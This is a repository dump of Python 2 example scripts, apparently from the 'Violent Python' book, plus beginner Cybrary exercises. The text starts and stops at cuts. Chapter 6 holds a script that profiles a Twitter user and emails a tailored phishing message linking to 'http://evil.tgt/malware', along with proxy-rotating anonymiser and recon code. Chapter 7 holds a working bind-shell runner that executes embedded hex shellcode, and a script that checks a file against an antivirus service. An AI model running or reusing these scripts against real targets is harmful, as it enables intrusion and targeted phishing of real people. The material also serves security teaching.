62 | print parser.usage 63 | exit(0) 64 | 65 | 66 | print "[+] Fetching tweets from: "+str(handle) 67 | spamTgt = reconPerson(handle) 68 | spamTgt.get_tweets() 69 | print "[+] Fetching interests from: "+str(handle) 70 | interests = spamTgt.find_interests() 71 | print "[+] Fetching location information from: "+\ 72 | str(handle) 73 | location = spamTgt.twitter_locate('mlb-cities.txt') 74 | 75 | 76 | spamMsg = "Dear "+tgt+"," 77 | 78 | if (location!=None): 79 | randLoc=choice(location) 80 | spamMsg += " Its me from "+randLoc+"." 81 | 82 | if (interests['users']!=None): 83 | randUser=choice(interests['users']) 84 | spamMsg += " "+randUser+" said to say hello." 85 | 86 | if (interests['hashtags']!=None): 87 | randHash=choice(interests['hashtags']) 88 | spamMsg += " Did you see all the fuss about "+\ 89 | randHash+"?" 90 | 91 | if (interests['links']!=None): 92 | randLink=choice(interests['links']) 93 | spamMsg += " I really liked your link to: "+\ 94 | randLink+"." 95 | 96 | spamMsg += " Check out my link to http://evil.tgt/malware" 97 | print "[+] Sending Msg: "+spamMsg 98 | 99 | sendMail(user, pwd, tgt, 'Re: Important', spamMsg) 100 | 101 | if __name__ == '__main__': 102 | main() 103 | 104 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/2-proxyTest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import mechanize 4 | 5 | 6 | def testProxy(url, proxy): 7 | browser = mechanize.Browser() 8 | browser.set_proxies(proxy) 9 | page = browser.open(url) 10 | source_code = page.read() 11 | print source_code 12 | 13 | 14 | url = 'http://ip.nefsc.noaa.gov/' 15 | hideMeProxy = {'http': '216.155.139.115:3128'} 16 | 17 | testProxy(url, hideMeProxy) 18 | 19 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/3-userAgentTest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import mechanize 4 | 5 | 6 | def testUserAgent(url, userAgent): 7 | browser = mechanize.Browser() 8 | browser.addheaders = userAgent 9 | page = browser.open(url) 10 | source_code = page.read() 11 | print source_code 12 | 13 | 14 | url = 'http://whatismyuseragent.dotdoh.com/' 15 | userAgent = [('User-agent', 'Mozilla/5.0 (X11; U; '+\ 16 | 'Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01')] 17 | testUserAgent(url, userAgent) 18 | 19 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/4-printCookies.py: -------------------------------------------------------------------------------- 1 | import mechanize 2 | import cookielib 3 | 4 | def printCookies(url): 5 | browser = mechanize.Browser() 6 | cookie_jar = cookielib.LWPCookieJar() 7 | browser.set_cookiejar(cookie_jar) 8 | page = browser.open(url) 9 | for cookie in cookie_jar: 10 | print cookie 11 | 12 | url = 'http://www.syngress.com/' 13 | printCookies(url) 14 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/5-kittenTest.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | from anonBrowser import * 4 | 5 | ab = anonBrowser(proxies=[],\ 6 | user_agents=[('User-agent','superSecretBroswer')]) 7 | 8 | for attempt in range(1, 5): 9 | ab.anonymize() 10 | print '[*] Fetching page' 11 | response = ab.open('http://kittenwar.com') 12 | for cookie in ab.cookie_jar: 13 | print cookie 14 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/6-linkParser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from anonBrowser import * 5 | from BeautifulSoup import BeautifulSoup 6 | import os 7 | import optparse 8 | import re 9 | 10 | 11 | def printLinks(url): 12 | 13 | ab = anonBrowser() 14 | ab.anonymize() 15 | page = ab.open(url) 16 | html = page.read() 17 | 18 | try: 19 | print '[+] Printing Links From Regex.' 20 | link_finder = re.compile('href="(.*?)"') 21 | links = link_finder.findall(html) 22 | for link in links: 23 | print link 24 | except: 25 | pass 26 | 27 | try: 28 | print '\n[+] Printing Links From BeautifulSoup.' 29 | soup = BeautifulSoup(html) 30 | links = soup.findAll(name='a') 31 | for link in links: 32 | if link.has_key('href'): 33 | print link['href'] 34 | except: 35 | pass 36 | 37 | 38 | def main(): 39 | parser = optparse.OptionParser('usage %prog ' +\ 40 | '-u ') 41 | 42 | parser.add_option('-u', dest='tgtURL', type='string',\ 43 | help='specify target url') 44 | 45 | (options, args) = parser.parse_args() 46 | url = options.tgtURL 47 | 48 | if url == None: 49 | print parser.usage 50 | exit(0) 51 | else: 52 | printLinks(url) 53 | 54 | 55 | if __name__ == '__main__': 56 | main() 57 | 58 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/7-imageMirror.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from anonBrowser import * 5 | from BeautifulSoup import BeautifulSoup 6 | import os 7 | import optparse 8 | 9 | 10 | def mirrorImages(url, dir): 11 | ab = anonBrowser() 12 | ab.anonymize() 13 | html = ab.open(url) 14 | soup = BeautifulSoup(html) 15 | image_tags = soup.findAll('img') 16 | 17 | for image in image_tags: 18 | filename = image['src'].lstrip('http://') 19 | filename = os.path.join(dir,\ 20 | filename.replace('/', '_')) 21 | print '[+] Saving ' + str(filename) 22 | data = ab.open(image['src']).read() 23 | ab.back() 24 | save = open(filename, 'wb') 25 | save.write(data) 26 | save.close() 27 | 28 | 29 | def main(): 30 | parser = optparse.OptionParser('usage %prog '+\ 31 | '-u -d ') 32 | 33 | parser.add_option('-u', dest='tgtURL', type='string',\ 34 | help='specify target url') 35 | parser.add_option('-d', dest='dir', type='string',\ 36 | help='specify destination directory') 37 | 38 | (options, args) = parser.parse_args() 39 | 40 | url = options.tgtURL 41 | dir = options.dir 42 | 43 | if url == None or dir == None: 44 | print parser.usage 45 | exit(0) 46 | 47 | else: 48 | try: 49 | mirrorImages(url, dir) 50 | except Exception, e: 51 | print '[-] Error Mirroring Images.' 52 | print '[-] ' + str(e) 53 | 54 | 55 | if __name__ == '__main__': 56 | main() 57 | 58 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/8-anonGoogle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import json 4 | import urllib 5 | import optparse 6 | from anonBrowser import * 7 | 8 | 9 | class Google_Result: 10 | 11 | def __init__(self,title,text,url): 12 | self.title = title 13 | self.text = text 14 | self.url = url 15 | 16 | def __repr__(self): 17 | return self.title 18 | 19 | 20 | def google(search_term): 21 | ab = anonBrowser() 22 | 23 | search_term = urllib.quote_plus(search_term) 24 | response = ab.open('http://ajax.googleapis.com/'+\ 25 | 'ajax/services/search/web?v=1.0&q='+ search_term) 26 | objects = json.load(response) 27 | results = [] 28 | 29 | for result in objects['responseData']['results']: 30 | url = result['url'] 31 | title = result['titleNoFormatting'] 32 | text = result['content'] 33 | new_gr = Google_Result(title, text, url) 34 | results.append(new_gr) 35 | return results 36 | 37 | 38 | def main(): 39 | parser = optparse.OptionParser('usage %prog ' +\ 40 | '-k ') 41 | parser.add_option('-k', dest='keyword', type='string',\ 42 | help='specify google keyword') 43 | (options, args) = parser.parse_args() 44 | keyword = options.keyword 45 | 46 | if options.keyword == None: 47 | print parser.usage 48 | exit(0) 49 | else: 50 | results = google(keyword) 51 | print results 52 | 53 | 54 | if __name__ == '__main__': 55 | main() 56 | 57 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/8-googleJson.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import json 4 | import urllib 5 | from anonBrowser import * 6 | 7 | 8 | def google(search_term): 9 | ab = anonBrowser() 10 | 11 | search_term = urllib.quote_plus(search_term) 12 | response = ab.open('http://ajax.googleapis.com/'+\ 13 | 'ajax/services/search/web?v=1.0&q='+ search_term) 14 | objects = json.load(response) 15 | 16 | print objects 17 | 18 | 19 | google('Boondock Saint') 20 | 21 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/8-googleJumbled.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import urllib 4 | from anonBrowser import * 5 | 6 | 7 | def google(search_term): 8 | ab = anonBrowser() 9 | 10 | search_term = urllib.quote_plus(search_term) 11 | response = ab.open('http://ajax.googleapis.com/'+\ 12 | 'ajax/services/search/web?v=1.0&q='+ search_term) 13 | print response.read() 14 | 15 | google('Boondock Saint') 16 | 17 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/9-twitterClass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import urllib 4 | from anonBrowser import * 5 | import json 6 | import re 7 | import urllib2 8 | 9 | 10 | class reconPerson: 11 | 12 | def __init__(self, handle): 13 | self.handle = handle 14 | self.tweets = self.get_tweets() 15 | 16 | def get_tweets(self): 17 | query = urllib.quote_plus('from:' + self.handle+\ 18 | ' since:2009-01-01 include:retweets' 19 | ) 20 | tweets = [] 21 | browser = anonBrowser() 22 | browser.anonymize() 23 | response = browser.open('http://search.twitter.com/'+\ 24 | 'search.json?q=' + query) 25 | 26 | json_objects = json.load(response) 27 | for result in json_objects['results']: 28 | new_result = {} 29 | new_result['from_user'] = result['from_user_name'] 30 | new_result['geo'] = result['geo'] 31 | new_result['tweet'] = result['text'] 32 | tweets.append(new_result) 33 | return tweets 34 | 35 | def find_interests(self): 36 | interests = {} 37 | interests['links'] = [] 38 | interests['users'] = [] 39 | interests['hashtags'] = [] 40 | 41 | for tweet in self.tweets: 42 | text = tweet['tweet'] 43 | links = re.compile('(http.*?)\Z|(http.*?) ').findall(text) 44 | 45 | for link in links: 46 | if link[0]: 47 | link = link[0] 48 | elif link[1]: 49 | link = link[1] 50 | else: 51 | continue 52 | 53 | try: 54 | response = urllib2.urlopen(link) 55 | full_link = response.url 56 | interests['links'].append(full_link) 57 | except: 58 | pass 59 | interests['users'] +=\ 60 | re.compile('(@\w+)').findall(text) 61 | interests['hashtags'] +=\ 62 | re.compile('(#\w+)').findall(text) 63 | 64 | interests['users'].sort() 65 | interests['hashtags'].sort() 66 | interests['links'].sort() 67 | return interests 68 | 69 | def twitter_locate(self, cityFile): 70 | cities = [] 71 | if cityFile != None: 72 | for line in open(cityFile).readlines(): 73 | city = line.strip('\n').strip('\r').lower() 74 | cities.append(city) 75 | 76 | locations = [] 77 | locCnt = 0 78 | cityCnt = 0 79 | tweetsText = '' 80 | 81 | for tweet in self.tweets: 82 | if tweet['geo'] != None: 83 | locations.append(tweet['geo']) 84 | locCnt += 1 85 | 86 | tweetsText += tweet['tweet'].lower() 87 | 88 | for city in cities: 89 | if city in tweetsText: 90 | locations.append(city) 91 | cityCnt += 1 92 | 93 | return locations 94 | 95 | 96 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/9-twitterGeo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import json 4 | import urllib 5 | import optparse 6 | from anonBrowser import * 7 | 8 | def get_tweets(handle): 9 | query = urllib.quote_plus('from:' + handle+\ 10 | ' since:2009-01-01 include:retweets') 11 | tweets = [] 12 | browser = anonBrowser() 13 | browser.anonymize() 14 | 15 | response = browser.open('http://search.twitter.com/'+\ 16 | 'search.json?q='+ query) 17 | 18 | json_objects = json.load(response) 19 | for result in json_objects['results']: 20 | new_result = {} 21 | new_result['from_user'] = result['from_user_name'] 22 | new_result['geo'] = result['geo'] 23 | new_result['tweet'] = result['text'] 24 | tweets.append(new_result) 25 | 26 | return tweets 27 | 28 | 29 | def load_cities(cityFile): 30 | cities = [] 31 | for line in open(cityFile).readlines(): 32 | city=line.strip('\n').strip('\r').lower() 33 | cities.append(city) 34 | return cities 35 | 36 | def twitter_locate(tweets,cities): 37 | locations = [] 38 | locCnt = 0 39 | cityCnt = 0 40 | tweetsText = "" 41 | 42 | for tweet in tweets: 43 | if tweet['geo'] != None: 44 | locations.append(tweet['geo']) 45 | locCnt += 1 46 | 47 | tweetsText += tweet['tweet'].lower() 48 | 49 | for city in cities: 50 | if city in tweetsText: 51 | locations.append(city) 52 | cityCnt+=1 53 | 54 | print "[+] Found "+str(locCnt)+" locations "+\ 55 | "via Twitter API and "+str(cityCnt)+\ 56 | " locations from text search." 57 | return locations 58 | 59 | 60 | def main(): 61 | 62 | parser = optparse.OptionParser('usage %prog '+\ 63 | '-u [-c ]') 64 | 65 | parser.add_option('-u', dest='handle', type='string',\ 66 | help='specify twitter handle') 67 | parser.add_option('-c', dest='cityFile', type='string',\ 68 | help='specify file containing cities to search') 69 | 70 | (options, args) = parser.parse_args() 71 | handle = options.handle 72 | cityFile = options.cityFile 73 | 74 | if (handle==None): 75 | print parser.usage 76 | exit(0) 77 | 78 | cities = [] 79 | if (cityFile!=None): 80 | cities = load_cities(cityFile) 81 | tweets = get_tweets(handle) 82 | locations = twitter_locate(tweets,cities) 83 | print "[+] Locations: "+str(locations) 84 | 85 | if __name__ == '__main__': 86 | main() 87 | 88 | 89 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/9-twitterInterests.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import json 5 | import re 6 | import urllib 7 | import urllib2 8 | import optparse 9 | from anonBrowser import * 10 | 11 | 12 | def get_tweets(handle): 13 | query = urllib.quote_plus('from:' + handle+\ 14 | ' since:2009-01-01 include:retweets') 15 | tweets = [] 16 | browser = anonBrowser() 17 | browser.anonymize() 18 | 19 | response = browser.open('http://search.twitter.com/'+\ 20 | 'search.json?q=' + query) 21 | 22 | json_objects = json.load(response) 23 | for result in json_objects['results']: 24 | new_result = {} 25 | new_result['from_user'] = result['from_user_name'] 26 | new_result['geo'] = result['geo'] 27 | new_result['tweet'] = result['text'] 28 | tweets.append(new_result) 29 | return tweets 30 | 31 | 32 | def find_interests(tweets): 33 | interests = {} 34 | interests['links'] = [] 35 | interests['users'] = [] 36 | interests['hashtags'] = [] 37 | 38 | for tweet in tweets: 39 | text = tweet['tweet'] 40 | links = re.compile('(http.*?)\Z|(http.*?) ')\ 41 | .findall(text) 42 | 43 | for link in links: 44 | if link[0]: 45 | link = link[0] 46 | elif link[1]: 47 | link = link[1] 48 | else: 49 | continue 50 | 51 | try: 52 | response = urllib2.urlopen(link) 53 | full_link = response.url 54 | interests['links'].append(full_link) 55 | except: 56 | pass 57 | interests['users'] += re.compile('(@\w+)').findall(text) 58 | interests['hashtags'] +=\ 59 | re.compile('(#\w+)').findall(text) 60 | 61 | interests['users'].sort() 62 | interests['hashtags'].sort() 63 | interests['links'].sort() 64 | 65 | return interests 66 | 67 | 68 | def main(): 69 | 70 | parser = optparse.OptionParser('usage %prog '+\ 71 | '-u ') 72 | 73 | parser.add_option('-u', dest='handle', type='string',\ 74 | help='specify twitter handle') 75 | 76 | (options, args) = parser.parse_args() 77 | handle = options.handle 78 | if handle == None: 79 | print parser.usage 80 | exit(0) 81 | 82 | tweets = get_tweets(handle) 83 | interests = find_interests(tweets) 84 | print '\n[+] Links.' 85 | for link in set(interests['links']): 86 | print ' [+] ' + str(link) 87 | 88 | print '\n[+] Users.' 89 | for user in set(interests['users']): 90 | print ' [+] ' + str(user) 91 | 92 | print '\n[+] HashTags.' 93 | for hashtag in set(interests['hashtags']): 94 | print ' [+] ' + str(hashtag) 95 | 96 | 97 | if __name__ == '__main__': 98 | main() 99 | 100 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/9-twitterRecon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import json 4 | import urllib 5 | from anonBrowser import * 6 | 7 | class reconPerson: 8 | 9 | def __init__(self,first_name,last_name,\ 10 | job='',social_media={}): 11 | self.first_name = first_name 12 | self.last_name = last_name 13 | self.job = job 14 | self.social_media = social_media 15 | 16 | def __repr__(self): 17 | return self.first_name + ' ' +\ 18 | self.last_name + ' has job ' + self.job 19 | 20 | def get_social(self, media_name): 21 | if self.social_media.has_key(media_name): 22 | return self.social_media[media_name] 23 | 24 | return None 25 | 26 | def query_twitter(self, query): 27 | query = urllib.quote_plus(query) 28 | results = [] 29 | browser = anonBrowser() 30 | response = browser.open(\ 31 | 'http://search.twitter.com/search.json?q='+ query) 32 | json_objects = json.load(response) 33 | for result in json_objects['results']: 34 | new_result = {} 35 | new_result['from_user'] = result['from_user_name'] 36 | new_result['geo'] = result['geo'] 37 | new_result['tweet'] = result['text'] 38 | results.append(new_result) 39 | 40 | return results 41 | 42 | 43 | ap = reconPerson('Boondock', 'Saint') 44 | print ap.query_twitter(\ 45 | 'from:th3j35t3r since:2010-01-01 include:retweets') 46 | 47 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/anonBrowser.py: -------------------------------------------------------------------------------- 1 | import mechanize, cookielib, random 2 | 3 | class anonBrowser(mechanize.Browser): 4 | 5 | def __init__(self, proxies = [], user_agents = []): 6 | mechanize.Browser.__init__(self) 7 | self.set_handle_robots(False) 8 | self.proxies = proxies 9 | self.user_agents = user_agents + ['Mozilla/4.0 ',\ 10 | 'FireFox/6.01','ExactSearch', 'Nokia7110/1.0'] 11 | 12 | self.cookie_jar = cookielib.LWPCookieJar() 13 | self.set_cookiejar(self.cookie_jar) 14 | self.anonymize() 15 | 16 | def clear_cookies(self): 17 | self.cookie_jar = cookielib.LWPCookieJar() 18 | self.set_cookiejar(self.cookie_jar) 19 | 20 | def change_user_agent(self): 21 | index = random.randrange(0, len(self.user_agents) ) 22 | self.addheaders = [('User-agent', \ 23 | ( self.user_agents[index] ))] 24 | 25 | def change_proxy(self): 26 | if self.proxies: 27 | index = random.randrange(0, len(self.proxies)) 28 | self.set_proxies( {'http': self.proxies[index]} ) 29 | 30 | def anonymize(self, sleep = False): 31 | self.clear_cookies() 32 | self.change_user_agent() 33 | self.change_proxy() 34 | 35 | if sleep: 36 | time.sleep(60) 37 | 38 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/mlb-cities.txt: -------------------------------------------------------------------------------- 1 | baltimore 2 | boston 3 | chicago 4 | cleveland 5 | detroit 6 | kansas city 7 | los angeles 8 | minnesota 9 | new york 10 | oakland 11 | seattle 12 | tampa 13 | arlington 14 | toronto 15 | phoenix 16 | atlanta 17 | chicao 18 | cincinnati 19 | denver 20 | houston 21 | miami 22 | milwaukee 23 | philadelphia 24 | pittsburg 25 | san diego 26 | san francisco 27 | st louis 28 | washington 29 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-6/twitterClass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import urllib 4 | from anonBrowser import * 5 | import json 6 | import re 7 | import urllib2 8 | 9 | 10 | class reconPerson: 11 | 12 | def __init__(self, handle): 13 | self.handle = handle 14 | self.tweets = self.get_tweets() 15 | 16 | def get_tweets(self): 17 | query = urllib.quote_plus('from:' + self.handle+\ 18 | ' since:2009-01-01 include:retweets' 19 | ) 20 | tweets = [] 21 | browser = anonBrowser() 22 | browser.anonymize() 23 | response = browser.open('http://search.twitter.com/'+\ 24 | 'search.json?q=' + query) 25 | 26 | json_objects = json.load(response) 27 | for result in json_objects['results']: 28 | new_result = {} 29 | new_result['from_user'] = result['from_user_name'] 30 | new_result['geo'] = result['geo'] 31 | new_result['tweet'] = result['text'] 32 | tweets.append(new_result) 33 | return tweets 34 | 35 | def find_interests(self): 36 | interests = {} 37 | interests['links'] = [] 38 | interests['users'] = [] 39 | interests['hashtags'] = [] 40 | 41 | for tweet in self.tweets: 42 | text = tweet['tweet'] 43 | links = re.compile('(http.*?)\Z|(http.*?) ').findall(text) 44 | 45 | for link in links: 46 | if link[0]: 47 | link = link[0] 48 | elif link[1]: 49 | link = link[1] 50 | else: 51 | continue 52 | 53 | try: 54 | response = urllib2.urlopen(link) 55 | full_link = response.url 56 | interests['links'].append(full_link) 57 | except: 58 | pass 59 | interests['users'] +=\ 60 | re.compile('(@\w+)').findall(text) 61 | interests['hashtags'] +=\ 62 | re.compile('(#\w+)').findall(text) 63 | 64 | interests['users'].sort() 65 | interests['hashtags'].sort() 66 | interests['links'].sort() 67 | return interests 68 | 69 | def twitter_locate(self, cityFile): 70 | cities = [] 71 | if cityFile != None: 72 | for line in open(cityFile).readlines(): 73 | city = line.strip('\n').strip('\r').lower() 74 | cities.append(city) 75 | 76 | locations = [] 77 | locCnt = 0 78 | cityCnt = 0 79 | tweetsText = '' 80 | 81 | for tweet in self.tweets: 82 | if tweet['geo'] != None: 83 | locations.append(tweet['geo']) 84 | locCnt += 1 85 | 86 | tweetsText += tweet['tweet'].lower() 87 | 88 | for city in cities: 89 | if city in tweetsText: 90 | locations.append(city) 91 | cityCnt += 1 92 | 93 | return locations 94 | 95 | 96 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-7/1-bindshell.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | 3 | shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" 4 | "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" 5 | "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" 6 | "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" 7 | "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" 8 | "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" 9 | "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" 10 | "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 11 | "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" 12 | "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" 13 | "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" 14 | "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" 15 | "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7" 16 | "\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68" 17 | "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" 18 | "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75" 19 | "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" 20 | "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" 21 | "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e" 22 | "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" 23 | "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56" 24 | "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" 25 | "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"); 26 | 27 | memorywithshell = create_string_buffer(shellcode, len(shellcode)) 28 | shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) 29 | shell() 30 | 31 | -------------------------------------------------------------------------------- /Violent-Python/Violent-Python-Examples/Chapter-7/2-virusCheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import re 4 | import httplib 5 | import time 6 | import os 7 | import optparse 8 | from urlparse import urlparse 9 | 10 | 11 | def printResults(url): 12 | 13 | status = 200 14 | host = urlparse(url)[1] 15 | path = urlparse(url)[2] 16 | 17 | if 'analysis' not in path: 18 | while status != 302: 19 | conn = httplib.HTTPConnection(host) 20 | conn.request('GET', path) 21 | resp = conn.getresponse() 22 | status = resp.status 23 | print '[+] Scanning file...' 24 | conn.close() 25 | time.sleep(15) 26 | 27 | print '[+] Scan Complete.' 28 | path = path.replace('file', 'analysis') 29 | conn = httplib.HTTPConnection(host) 30 | conn.request('GET', path) 31 | resp = conn.getresponse() 32 | data = resp.read() 33 | conn.close() 34 | 35 | reResults = re.findall(r'Detection rate:.*\)', data) 36 | htmlStripRes = reResults[1].\ 37 | replace('<font color=\'red\'>', '').\ 38 | replace('</font>', '') 39 | print '[+] ' + str(htmlStripRes) 40 | 41 | 42 | def uploadFile(fileName): 43 | 44 | print "[+] Uploading file to NoVirusThanks..." 45 | fileContents = open(fileName,'rb').read() 46 | 47 | header = {'Content-Type': 'multipart/form-data; \ 48 | boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'} 49 | 50 | params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U" 51 | params += "\r\nContent-Disposition: form-data; "+\ 52 | "name=\"upfile\"; filename=\""+str(fileName)+"\"" 53 | params += "\r\nContent-Type: "+\ 54 | "application/octet stream\r\n\r\n" 55 | params += fileContents 56 | params += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U" 57 | params += "\r\nContent-Disposition: form-data; "+\ 58 | "name=\"submitfile\"\r\n" 59 | params += "\r\nSubmit File\r\n" 60 | params +="------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n" 61 | conn = httplib.HTTPConnection('vscan.novirusthanks.org') 62 | conn.request("POST", "/", params, header) 63 | response = conn.getresponse() 64 | location = response.getheader('location') 65 | conn.close() 66 | return location 67 | 68 | 69 | def main(): 70 | 71 | parser = optparse.OptionParser('usage %prog -f ') 72 | parser.add_option('-f', dest='fileName', type='string',\ 73 | help='specify filename') 74 | (options, args) = parser.parse_args() 75 | fileName = options.fileName 76 | 77 | if fileName == None: 78 | print parser.usage 79 | exit(0) 80 | elif os.path.isfile(fileName) == False: 81 | print '[+] ' + fileName + ' does not exist.' 82 | exit(0) 83 | else: 84 | loc = uploadFile(fileName) 85 | printResults(loc) 86 | 87 | 88 | if __name__ == '__main__': 89 | main() 90 | 91 | -------------------------------------------------------------------------------- /Violent-Python/hello.py: -------------------------------------------------------------------------------- 1 | print "Hello World" 2 | -------------------------------------------------------------------------------- /cybrary/Module 2 Apprentice/Activities/Apprentice_Activities.py: -------------------------------------------------------------------------------- 1 | def activity01(num1): 2 | '''Determine if an input number is Even or Odd''' 3 | try: 4 | if int(num1) % 2: 5 | return "Odd" 6 | else: 7 | return "Even" 8 | except: 9 | return "Not a number" 10 | 11 | def activity02(iv_one, iv_two): 12 | '''Return the sum of two input values''' 13 | try: 14 | return int(iv_one) + int(iv_two) 15 | except: 16 | return "Does not contain only numbers" 17 | 18 | def activity03(num_list): 19 | '''Given a list of integers, count how many are even''' 20 | count = 0 21 | try: 22 | for i in num_list: 23 | if not (int(i) % 2): 24 | count += 1 25 | return count 26 | except: 27 | return "List contains non-numbers" 28 | 29 | 30 | def activity04(input_string): 31 | '''Return the input string, backward''' 32 | try: 33 | return input_string[::-1] 34 | except: 35 | return "Not a string" 36 | -------------------------------------------------------------------------------- /cybrary/Module 2 Apprentice/Activities/Apprentice_Activities.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ThatEidolon/Python/fcea97d136f2490c256ab72efbb619da5403fe6a/cybrary/Module 2 Apprentice/Activities/Apprentice_Activities.pyc -------------------------------------------------------------------------------- /cybrary/Module 2 Apprentice/Activities/Apprentice_Activities_Tester.py: -------------------------------------------------------------------------------- 1 | from Apprentice_Activities import * 2 | 3 | def activity01test(): 4 | tests = {2 : 'Even' , 17 : 'Odd' , 1 : 'Odd' , 5 : 'Odd'} 5 | print "Starting Test 1..." 6 | for i in tests: 7 | return_string = activity01(i) 8 | if tests[i] != return_string: 9 | print "Failed: Input %d\nExpected: %s\nReceived: %s" % (i, tests[i], return_string) 10 | return -1 11 | else: 12 | print "Correct:\t%d\t\t=\t%s" % (i, return_string) 13 | return 0 14 | 15 | def activity02test(): 16 | tests = [[1,2,3] , [4,19,23] , [0,0,0] , [3,6,9]] 17 | print "\nStarting Test 2..." 18 | for i in tests: 19 | return_value = activity02(i[0], i[1]) 20 | if return_value != i[2]: 21 | print "Failed: Inputs: %d, %d\nExpected: %d\nRecieved: %d" % (i[0], i[1], i[2]) 22 | return -1 23 | else: 24 | print "Correct:\t%d+%d\t\t=\t%d" % (i[0], i[1], i[2]) 25 | return 0 26 | 27 | def activity03test(): 28 | tests = [[[1,2,3,4] , 2] , [[1,3,5,7] , 0] , [[2,4,6,9] , 3] , [[1,2,6,7] , 2]] 29 | print "\nStarting Test 3..." 30 | for i in tests: 31 | return_value = activity03(i[0]) 32 | if return_value != i[1]: 33 | print "Failed: Input: %s\nExpected: %d\nReceived: %d" % (str(i[0]), i[1], return_value) 34 | return -1 35 | else: 36 | print "Correct:\t%s\t=\t%d" % (str(i[0]), return_value) 37 | return 0 38 | 39 | def activity04test(): 40 | tests = {'string' : 'gnirts' , 'racecar' : 'racecar' , 